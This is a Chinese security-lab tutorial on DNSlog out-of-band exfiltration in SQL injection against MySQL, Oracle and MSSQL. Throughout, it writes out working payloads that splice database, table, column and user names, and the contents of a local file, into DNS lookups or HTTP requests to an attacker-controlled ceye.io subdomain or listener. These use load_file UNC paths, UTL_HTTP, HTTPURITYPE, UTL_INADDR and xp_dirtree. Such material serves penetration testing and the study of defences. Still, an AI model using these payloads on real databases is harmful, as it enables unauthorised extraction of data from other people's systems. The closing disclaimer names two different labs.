DnsLog在SQL注入中的利用
戟星安全实验室
本文约3800字,阅读约需10分钟。
0x00 前言
0x01 dnslog基于mysql的利用
环境:win10下安装mysql5.7
http://www.dnslog.cn/(dnslog平台)
dnslog在mysql中利用的前提条件:
-
需要用到mysql的内置函数load_file()来读取本地文件,并且需要在my.ini文件中把secure_file_priv的值设为空,此时可以读取本地任意文件。因为当secure_file_priv有值时,只能读取被设定的路径下的文件。最重要的是load_file函数可以发送DNS请求,这是利用的关键; -
如果mysql架设在linux系统下,是无法利用dnslog注入的,这里涉及到了UNC路径,而linux下是没有UNC路径的; -
UNC路径的百度解释:UNC是一种命名惯例, 主要用于在Microsoft Windows上指定和映射网络驱动器. UNC命名惯例最多被应用于在局域网中访问文件服务器或者打印机。我们日常常用的网络共享文件就是这个方式 -
文件必须是所有人都可读的,并且它的大小需要小于max_allowed_packet允许的最大字节;
show variables like ‘max_allowed_packet’
show variables like ‘secure_file_priv’
select load_file(concat(“\\\\”,(select database()),”.xxxxxx.ceye.io\\aaa”))
构造语句尝试查询表名
selectload_file(concat(‘\\\\’,(select table_name from information_schem.tables wheretable_schema=database() limit 0,1),’xxxxxx.ceye.io\\aaa’))
构造语句获取字段名,这里要注意因为一个表里会有很多个字段,但是我们每次执行语句只能显示出来一条在子域名里,所以需要不断变换limit后面的值来执行语句,查询所有字段名
selectload_file(concat(‘\\\\’,(select column_name from information_schem.column wheretable_name=’user’ limit 0,1),’xxxxxx.ceye.io\\aaa’))
因为已经在my.ini里面把secure_file_priv值设为空了,所以尝试构造语句验证下设置,这里在d盘创建1.txt文件,尝试通过load_file函数读取
成功读取到d盘中的1.txt文件后,说明secure_file_priv设置没有问题,现在可以通过构造语句,让1.txt里面的内容可以拼接在子域名里面解析出来
select load_file(concat(“\\\\”,(selectload_file(“d:\\1.txt”)),”.xxxxxx.ceye.io\\aaa”))
这里成功执行语句,但是在ceye.io并查询不到,在经过一番排错思考过后,发现1.txt文本里面我输入的内容包括了空格,很明显问题出在了域名里不能有特殊字符。这里先尝试下把空格删除,验证下想法
发现问题确实出在这里,所以这里可以通过把要输出的内容先做hex编码处理,显示出来后再利用工具解码即可,把空格加回去,然后构造语句把hex()带上
select load_file(concat(“\\\\”,hex((selectload_file(“d:\\1.txt”))),”.xxxxxx.ceye.io\\aaa”))
可以发现利用hex编码是行的通的,所以我们平时在做注入时,如果不确定输出的内容是否包含特殊字符导致回显失败,可以尝试下hex编码,但是hex编码后的字节大小同样不可以超过max_allowed_packet的限制
0x02 dnslog基于oracle的利用
环境:ceye.io平台
docker搭建oracle11g版本
(1)UTL_HTTP.REQUEST函数 (向外网主机发送http请求)
这个函数用来获得web服务器的请求信息,所以我们可以自己监听端口,然后通过这个函数在请求头的位置将需要的数据发送反弹回来
在使用这个函数时,需要用户有utl_http访问网络的权限,所以通过执行以下语句的回显来判断一下,回显正常即表示有访问网络的权限
select count(*) from all_objects where object_name=’UTL_HTTP’
直接在本地用python开启一个监听服务,然后构造语句执行查询数据库的版本号,这里可以看到虽然显示执行语句有错误,但是在监听端口那里是可以看到版本号信息的返回,说明函数执行成功了。
select banner from sys.v_$sversion whererownum=1 and UTL_HTTP.REQUEST(‘http:xx.xx.xx.xx:4455/’ || (select banner fromsys.v_sversion where rownum=1))=1--;
(2)HTTPURITYPE函数
此函数跟UTL_HTTP.REQUEST函数类似,都是在请求头中将信息外带出来,所以同样需要开启http.server监听,这里简单举个例子查询当前用户
select HTTPURITYPE(‘HTTP://xx.xx.xx.xx:4455/’|| (select user from dual)).GETCLOB() from dual;
(3)UTL_INADDR.GET_HOST_ADDRESS函数(将查询结果拼接到域名下,并使用DNS记录解析日志)
这里构造语句来获取当前用户,oracle中用 || 进行拼接,dual表为Oracle中的一个虚拟存在的表,任何用户均可读取,常用在没有目标表的Select语句块中。(oracle是不允许select语句后面没有表的,所以此处可以跟一个伪表dual)
selectutl_inaddr.get_host_address((select user from dual) ||’.h04bdn.ceye.io’) fromdual;
0x03 dnslog基于mssql的利用
环境:docker安装mssql2019
ceye.io平台
利用条件:
master…xp_dirtree (用于获取所有文件夹的列表和给定文件夹内部的子文件夹)
master…xp_fileexist (用于确定一个特定的文件是否存在于硬盘)
master…xp_subdirs (用于得到给定的文件夹内的文件夹列表)
使用master.dbo.xp_dirtree功能来执行DNS查询,主要目的是将文件放在目录下,但它也允许远程目录访问,这样就可以让域运行并获得结果
构造语句查询当前的数据库名,先定义变量data,和数据类型,再将查询到的数据拼接到字符串中赋值给变量。
DECLARE @data varchar(1024);
SELECT @data=(SELECT TOP 1 rtrim(Name) FROMMaster..Sysdatabases order by Name);
EXEC(‘master..xp_dirtree “\\’+ @data +’.xxxxxx.ceye.io\ foo $”’);
GO
top 1的用法类似于mysql中的limit,限制查询数目,这里用到了rtrim函数,因为mssql中当需要字符串拼接的时候,如果字段的值的长度没有达到表结构字段的长度,就会用空格来填充,但是如果存在空格的话,就不能在dnslog平台上看到回显了。
0x04 总结
通过dnslog平台将信息外带出来的原理就是利用UNC路径去访问服务器,dns会有日志,通过子查询,将内容拼接到域名内,利用MYSQL内置函数load_file()去访问共享文件,访问的域名被记录,此时变为显错注入,将盲注变显错注入,读取远程共享文件,通过拼接出函数做查询,拼接到域名中,访问时将访问服务器,记录后查看日志。
由于传播、利用此文所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,破军安全实验室及文章作者不为此承担任何责任。
戟星安全实验室拥有对此文章的修改和解释权。如欲转载或传播此文章,必须保证此文章的完整性,包括版权声明等全部内容。未经破军安全实验室允许,不得任意修改或者增减此文章内容,不得以任何方式将其用于商业目的。
戟星安全实验室